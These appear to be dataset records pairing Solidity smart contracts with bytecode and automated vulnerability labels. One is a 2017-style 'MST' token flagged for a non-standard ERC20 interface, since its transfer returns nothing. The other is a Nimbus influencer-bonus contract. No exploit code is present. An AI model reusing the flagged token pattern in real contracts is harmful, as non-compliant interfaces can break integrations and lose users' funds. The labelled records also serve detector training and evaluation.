pragma solidity ^0.4.2; contract MST { /* Public variables of the token */ string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* Initializes contract with initial supply tokens to the creator of the contract */ function MST() { initialSupply = 1000000000; name ="Mining Security Token"; decimals = 18; symbol = "MST"; balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply } /* Send coins */ function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient } /* This unnamed function is called whenever someone tries to send ether to it */ function () { throw; // Prevents accidental sending of ether } }
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ab57806318160ddd1461013b578063313ce56714610166578063378dc3dc146101975780635a3b7e42146101c257806370a082311461025257806395d89b41146102a9578063a9059cbb14610339578063dd62ed3e14610386575b3480156100a557600080fd5b50600080fd5b3480156100b757600080fd5b506100c06103fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101005780820151818401526020810190506100e5565b50505050905090810190601f16801561012d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014757600080fd5b5061015061049b565b6040518082815260200191505060405180910390f35b34801561017257600080fd5b5061017b6104a1565b604051808260ff1660ff16815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6104b4565b6040518082815260200191505060405180910390f35b3480156101ce57600080fd5b506101d76104ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102175780820151818401526020810190506101fc565b50505050905090810190601f1680156102445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025e57600080fd5b50610293600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610558565b6040518082815260200191505060405180910390f35b3480156102b557600080fd5b506102be610570565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102fe5780820151818401526020810190506102e3565b50505050905090810190601f16801561032b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034557600080fd5b50610384600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061060e565b005b34801561039257600080fd5b506103e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610785565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104935780601f1061046857610100808354040283529160200191610493565b820191906000526020600020905b81548152906001019060200180831161047657829003601f168201915b505050505081565b60055481565b600360009054906101000a900460ff1681565b60045481565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105505780601f1061052557610100808354040283529160200191610550565b820191906000526020600020905b81548152906001019060200180831161053357829003601f168201915b505050505081565b60066020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106065780601f106105db57610100808354040283529160200191610606565b820191906000526020600020905b8154815290600101906020018083116105e957829003601f168201915b505050505081565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561065a57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110156106e757600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505050565b60076020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058203a013facde1e2b6b28d5f19850b0185d9ad1e2d8b40d5b627b44c1bc7932d18b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2475, 2063, 2475, 27717, 2620, 2050, 22275, 2549, 2278, 2581, 2546, 2629, 18939, 8889, 17788, 2509, 2050, 24594, 27531, 24096, 4215, 27814, 2278, 2487, 11329, 2692, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1016, 1025, 3206, 5796, 2102, 1063, 1013, 1008, 2270, 10857, 1997, 1996, 19204, 1008, 1013, 5164, 2270, 3115, 1027, 1005, 19204, 1014, 1012, 1015, 1005, 1025, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1025, 21318, 3372, 17788, 2575, 2270, 20381, 6279, 22086, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 1013, 1008, 2023, 9005, 2019, 9140, 2007, 2035, 5703, 2015, 1008, 1013, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,687
0x972e54dD21661819AD2E85868B9E6e584D982f4F
pragma solidity =0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed from, address indexed to); constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } modifier onlyOwner { require(msg.sender == owner, "Ownable: Caller is not the owner"); _; } function transferOwnership(address transferOwner) public onlyOwner { require(transferOwner != newOwner); newOwner = transferOwner; } function acceptOwnership() virtual public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface INimbusStakingPool { function balanceOf(address account) external view returns (uint256); } interface INimbusReferralProgram { function userSponsorByAddress(address user) external view returns (uint); function userIdByAddress(address user) external view returns (uint); } interface INimbusRouter { function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } contract NBUInfluencerBonusPart is Ownable { using SafeMath for uint; IERC20 public NBU; uint public nbuBonusAmount; INimbusReferralProgram public referralProgram; INimbusStakingPool[] public stakingPools; INimbusRouter public swapRouter; address public swapToken; uint public swapTokenAmountForBonusThreshold; mapping (address => bool) public influencers; mapping (address => mapping (address => bool)) public processedUsers; event ProcessInfluencerBonus(address influencer, address user, uint userAmount, uint influencerBonus); event Rescue(address to, uint amount); event RescueToken(address token, address to, uint amount); constructor(address nbu, address router, address referral) { NBU = IERC20(nbu); swapRouter = INimbusRouter(router); referralProgram = INimbusReferralProgram(referral); nbuBonusAmount = 5 * 10 ** 18; } function claimBonus(address[] memory users) external { for (uint i; i < users.length; i++) { claimBonus(users[i]); } } function claimBonus(address user) public { require(influencers[msg.sender], "NBUInfluencerBonusPart: Not influencer"); require(!processedUsers[msg.sender][user], "NBUInfluencerBonusPart: Bonus for user already received"); require(referralProgram.userSponsorByAddress(user) == referralProgram.userIdByAddress(msg.sender), "NBUInfluencerBonusPart: Not user sponsor"); uint amount; for (uint i; i < stakingPools.length; i++) { amount = amount.add(stakingPools[i].balanceOf(user)); } address[] memory path = new address[](2); path[0] = swapToken; path[1] = address(NBU); uint minNbuAmountForBonus = swapRouter.getAmountsOut(swapTokenAmountForBonusThreshold, path)[1]; require (amount >= minNbuAmountForBonus, "NBUInfluencerBonusPart: Bonus threshold not met"); NBU.transfer(msg.sender, nbuBonusAmount); processedUsers[msg.sender][user] = true; emit ProcessInfluencerBonus(msg.sender, user, amount, nbuBonusAmount); } function isBonusForUserAllowed(address influencer, address user) external view returns (bool) { if (!influencers[influencer]) return false; if (processedUsers[influencer][user]) return false; if (referralProgram.userSponsorByAddress(user) != referralProgram.userIdByAddress(influencer)) return false; uint amount; for (uint i; i < stakingPools.length; i++) { amount = amount.add(stakingPools[i].balanceOf(user)); } address[] memory path = new address[](2); path[0] = swapToken; path[1] = address(NBU); uint minNbuAmountForBonus = swapRouter.getAmountsOut(swapTokenAmountForBonusThreshold, path)[1]; return amount >= minNbuAmountForBonus; } function rescue(address payable to, uint256 amount) external onlyOwner { require(to != address(0), "NBUInfluencerBonusPart: Address is zero"); require(amount > 0, "NBUInfluencerBonusPart: Should be greater than 0"); TransferHelper.safeTransferETH(to, amount); emit Rescue(to, amount); } function rescue(address to, address token, uint256 amount) external onlyOwner { require(to != address(0), "NBUInfluencerBonusPart: Address is zero"); require(amount > 0, "NBUInfluencerBonusPart: Should be greater than 0"); TransferHelper.safeTransfer(token, to, amount); emit RescueToken(token, to, amount); } function updateSwapRouter(address newSwapRouter) external onlyOwner { require(newSwapRouter != address(0), "NBUInfluencerBonusPart: Address is zero"); swapRouter = INimbusRouter(newSwapRouter); } function updateStakingPoolAdd(address newStakingPool) external onlyOwner { for (uint i; i < stakingPools.length; i++) { require (address(stakingPools[i]) != newStakingPool, "NBUInfluencerBonusPart: Pool exists"); } stakingPools.push(INimbusStakingPool(newStakingPool)); } function updateStakingPoolRemove(uint poolIndex) external onlyOwner { stakingPools[poolIndex] = stakingPools[stakingPools.length - 1]; stakingPools.pop(); } function updateInfluencer(address influencer, bool isActive) external onlyOwner { influencers[influencer] = isActive; } function updateNbuBonusAmount(uint newAmount) external onlyOwner { nbuBonusAmount = newAmount; } function updateSwapToken(address newSwapToken) external onlyOwner { require(newSwapToken != address(0), "NBUInfluencerBonusPart: Address is zero"); swapToken = newSwapToken; } function updateSwapTokenAmountForBonusThreshold(uint threshold) external onlyOwner { swapTokenAmountForBonusThreshold = threshold; } } library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
0x608060405234801561001057600080fd5b50600436106101a35760003560e01c8063855f0924116100ee578063c31c9c0711610097578063dc73e49c11610071578063dc73e49c1461031c578063eef9e60314610324578063f2fde38b14610337578063f9d6b5d11461034a576101a3565b8063c31c9c0714610304578063cdc423441461030c578063d4ee1d9014610314576101a3565b806394071d7d116100c857806394071d7d146102cb578063996bc292146102de578063b98b677f146102f1576101a3565b8063855f09241461029d5780638da5cb5b146102b05780638ea73c21146102b8576101a3565b80633a001982116101505780637a4e4ecf1161012a5780637a4e4ecf146102645780637fc96d6b146102775780638002c5011461028a576101a3565b80633a001982146102365780635aad6cf01461024957806379ba50971461025c576101a3565b806320ff430b1161018157806320ff430b146101f057806329473a531461020357806333934d7714610223576101a3565b80630978e84d146101a85780630e99f5e6146101c657806316454754146101db575b600080fd5b6101b0610352565b6040516101bd9190612391565b60405180910390f35b6101d96101d4366004611cba565b610358565b005b6101e3610a2c565b6040516101bd9190611f4d565b6101d96101fe366004611d39565b610a48565b610216610211366004611cba565b610b6b565b6040516101bd9190611ffb565b6101d9610231366004611ee4565b610b80565b6101d9610244366004611da6565b610bd6565b6101e3610257366004611ee4565b610c41565b6101d9610c78565b6101d9610272366004611cd6565b610d32565b6101d9610285366004611cba565b610e51565b610216610298366004611d01565b610f36565b6101d96102ab366004611ee4565b6113ce565b6101e36115a1565b6101d96102c6366004611d79565b6115bd565b6101d96102d9366004611ee4565b611664565b6101d96102ec366004611cba565b6116ba565b6101d96102ff366004611cba565b61184d565b6101e3611932565b6101e361194e565b6101e361196a565b6101e3611986565b610216610332366004611d01565b6119a2565b6101d9610345366004611cba565b6119c2565b6101b0611a82565b60085481565b3360009081526009602052604090205460ff166103aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a1906121c0565b60405180910390fd5b336000908152600a6020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff1615610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061227a565b600480546040517f4b75908800000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691634b7590889161046a91339101611f4d565b60206040518083038186803b15801561048257600080fd5b505afa158015610496573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ba9190611efc565b600480546040517f62d58c8700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116916362d58c879161050f91869101611f4d565b60206040518083038186803b15801561052757600080fd5b505afa15801561053b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055f9190611efc565b14610596576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a190612334565b6000805b6005548110156106ab57610697600582815481106105e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602090912001546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906370a0823190610640908790600401611f4d565b60206040518083038186803b15801561065857600080fd5b505afa15801561066c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106909190611efc565b8390611a88565b9150806106a38161247a565b91505061059a565b506040805160028082526060820183526000926020830190803683375050600754825192935073ffffffffffffffffffffffffffffffffffffffff1691839150600090610721577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092010152600254825191169082906001908110610786577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526006546008546040517fd06ca61f000000000000000000000000000000000000000000000000000000008152600093929092169163d06ca61f916107f191869060040161239a565b60006040518083038186803b15801561080957600080fd5b505afa15801561081d573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526108639190810190611e44565b60018151811061089c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050808310156108e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a190612106565b6002546003546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9092169163a9059cbb9161093a91339190600401611f6e565b602060405180830381600087803b15801561095457600080fd5b505af1158015610968573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098c9190611ec8565b50336000818152600a6020908152604080832073ffffffffffffffffffffffffffffffffffffffff891684529091529081902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905560035490517f73540dd36ddd017efa05f3f9228776a385106a8aa6457d1e827cecd361b6a34092610a1e92909188918891611fc5565b60405180910390a150505050565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff163314610a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061203d565b73ffffffffffffffffffffffffffffffffffffffff8316610ae6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061221d565b60008111610b20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a1906120a9565b610b2b828483611ad8565b7faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba910828483604051610b5e93929190611f94565b60405180910390a1505050565b60096020526000908152604090205460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff163314610bd1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061203d565b600355565b60005b8151811015610c3d57610c2b828281518110610c1e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610358565b80610c358161247a565b915050610bd9565b5050565b60058181548110610c5157600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60015473ffffffffffffffffffffffffffffffffffffffff163314610c9c57600080fd5b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610d83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061203d565b73ffffffffffffffffffffffffffffffffffffffff8216610dd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061221d565b60008111610e0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a1906120a9565b610e148282611c01565b7f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af28282604051610e45929190611f6e565b60405180910390a15050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610ea2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061203d565b73ffffffffffffffffffffffffffffffffffffffff8116610eef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061221d565b600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff821660009081526009602052604081205460ff16610f6b575060006113c8565b73ffffffffffffffffffffffffffffffffffffffff8084166000908152600a602090815260408083209386168352929052205460ff1615610fae575060006113c8565b600480546040517f4b75908800000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691634b7590889161100391879101611f4d565b60206040518083038186803b15801561101b57600080fd5b505afa15801561102f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110539190611efc565b600480546040517f62d58c8700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116916362d58c87916110a891879101611f4d565b60206040518083038186803b1580156110c057600080fd5b505afa1580156110d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f89190611efc565b14611105575060006113c8565b6000805b6005548110156111c3576111af60058281548110611150577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602090912001546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906370a0823190610640908890600401611f4d565b9150806111bb8161247a565b915050611109565b506040805160028082526060820183526000926020830190803683375050600754825192935073ffffffffffffffffffffffffffffffffffffffff1691839150600090611239577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201015260025482519116908290600190811061129e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526006546008546040517fd06ca61f000000000000000000000000000000000000000000000000000000008152600093929092169163d06ca61f9161130991869060040161239a565b60006040518083038186803b15801561132157600080fd5b505afa158015611335573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261137b9190810190611e44565b6001815181106113b4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508083101593505050505b92915050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461141f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061203d565b6005805461142f90600190612463565b81548110611466577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602090912001546005805473ffffffffffffffffffffffffffffffffffffffff90921691839081106114c6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506005805480611546577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905501905550565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff16331461160e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061203d565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260096020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146116b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061203d565b600855565b60005473ffffffffffffffffffffffffffffffffffffffff16331461170b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061203d565b60005b6005548110156117d5578173ffffffffffffffffffffffffffffffffffffffff1660058281548110611769577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff1614156117c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a190612163565b806117cd8161247a565b91505061170e565b50600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331461189e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061203d565b73ffffffffffffffffffffffffffffffffffffffff81166118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061221d565b600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b600a60209081526000928352604080842090915290825290205460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff163314611a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a19061203d565b60015473ffffffffffffffffffffffffffffffffffffffff82811691161415611a3b57600080fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60035481565b600080611a95838561244b565b905083811015611ad1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a190612072565b9392505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401611b0a929190611f6e565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611b589190611f14565b6000604051808303816000865af19150503d8060008114611b95576040519150601f19603f3d011682016040523d82523d6000602084013e611b9a565b606091505b5091509150818015611bc4575080511580611bc4575080806020019051810190611bc49190611ec8565b611bfa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a190612006565b5050505050565b6040805160008082526020820190925273ffffffffffffffffffffffffffffffffffffffff8416908390604051611c389190611f14565b60006040518083038185875af1925050503d8060008114611c75576040519150601f19603f3d011682016040523d82523d6000602084013e611c7a565b606091505b5050905080611cb5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a1906122d7565b505050565b600060208284031215611ccb578081fd5b8135611ad181612511565b60008060408385031215611ce8578081fd5b8235611cf381612511565b946020939093013593505050565b60008060408385031215611d13578182fd5b8235611d1e81612511565b91506020830135611d2e81612511565b809150509250929050565b600080600060608486031215611d4d578081fd5b8335611d5881612511565b92506020840135611d6881612511565b929592945050506040919091013590565b60008060408385031215611d8b578182fd5b8235611d9681612511565b91506020830135611d2e81612536565b60006020808385031215611db8578182fd5b823567ffffffffffffffff811115611dce578283fd5b8301601f81018513611dde578283fd5b8035611df1611dec82612427565b6123fd565b8181528381019083850185840285018601891015611e0d578687fd5b8694505b83851015611e38578035611e2481612511565b835260019490940193918501918501611e11565b50979650505050505050565b60006020808385031215611e56578182fd5b825167ffffffffffffffff811115611e6c578283fd5b8301601f81018513611e7c578283fd5b8051611e8a611dec82612427565b8181528381019083850185840285018601891015611ea6578687fd5b8694505b83851015611e38578051835260019490940193918501918501611eaa565b600060208284031215611ed9578081fd5b8151611ad181612536565b600060208284031215611ef5578081fd5b5035919050565b600060208284031215611f0d578081fd5b5051919050565b60008251815b81811015611f345760208186018101518583015201611f1a565b81811115611f425782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff94851681529290931660208301526040820152606081019190915260800190565b901515815260200190565b6020808252601f908201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604082015260600190565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526030908201527f4e4255496e666c75656e636572426f6e7573506172743a2053686f756c64206260408201527f652067726561746572207468616e203000000000000000000000000000000000606082015260800190565b6020808252602f908201527f4e4255496e666c75656e636572426f6e7573506172743a20426f6e757320746860408201527f726573686f6c64206e6f74206d65740000000000000000000000000000000000606082015260800190565b60208082526023908201527f4e4255496e666c75656e636572426f6e7573506172743a20506f6f6c2065786960408201527f7374730000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f4e4255496e666c75656e636572426f6e7573506172743a204e6f7420696e666c60408201527f75656e6365720000000000000000000000000000000000000000000000000000606082015260800190565b60208082526027908201527f4e4255496e666c75656e636572426f6e7573506172743a20416464726573732060408201527f6973207a65726f00000000000000000000000000000000000000000000000000606082015260800190565b60208082526037908201527f4e4255496e666c75656e636572426f6e7573506172743a20426f6e757320666f60408201527f72207573657220616c7265616479207265636569766564000000000000000000606082015260800190565b60208082526023908201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960408201527f4c45440000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f4e4255496e666c75656e636572426f6e7573506172743a204e6f74207573657260408201527f2073706f6e736f72000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b60006040820184835260206040818501528185518084526060860191508287019350845b818110156123f057845173ffffffffffffffffffffffffffffffffffffffff16835293830193918301916001016123be565b5090979650505050505050565b60405181810167ffffffffffffffff8111828210171561241f5761241f6124e2565b604052919050565b600067ffffffffffffffff821115612441576124416124e2565b5060209081020190565b6000821982111561245e5761245e6124b3565b500190565b600082821015612475576124756124b3565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156124ac576124ac6124b3565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8116811461253357600080fd5b50565b801515811461253357600080fdfea26469706673582212200dc38e66d64118c4116708d1729a889f81ce737185feed8852b6608bb6a3580364736f6c63430008000033
